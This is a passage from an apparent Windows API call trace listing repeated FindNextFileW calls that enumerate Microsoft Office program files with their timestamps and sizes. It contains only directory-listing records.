ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50af3f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x105b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4790, dwReserved0=0x0, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8c4100, ftCreationTime.dwHighDateTime=0x1c67eda, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed8c4100, ftLastWriteTime.dwHighDateTime=0x1c67eda, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fc5400, ftCreationTime.dwHighDateTime=0x1ca0f51, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fc5400, ftLastWriteTime.dwHighDateTime=0x1ca0f51, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLBAR.INF", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x13f0930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x644d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1d380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x1416a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x46f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80e2700, ftCreationTime.dwHighDateTime=0x1ca8f17, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa80e2700, ftLastWriteTime.dwHighDateTime=0x1ca8f17, nFileSizeHigh=0x0, nFileSizeLow=0x6aa3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV.HXS", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3475b500, ftCreationTime.dwHighDateTime=0x1ca95bc, ftLastAccessTime.dwLowDateTime=0x1488eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3475b500, ftLastWriteTime.dwHighDateTime=0x1ca95bc, nFileSizeHigh=0x0, nFileSizeLow=0x13a57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ede2d00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ede2d00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1f760, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b8c480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd5800, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50bfe8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd5800, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x33a380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTLC.DLL", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c24a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4cf264, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV.HXS", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x68013d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.234] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x139968, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x9580, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x22180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50c4ab60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, 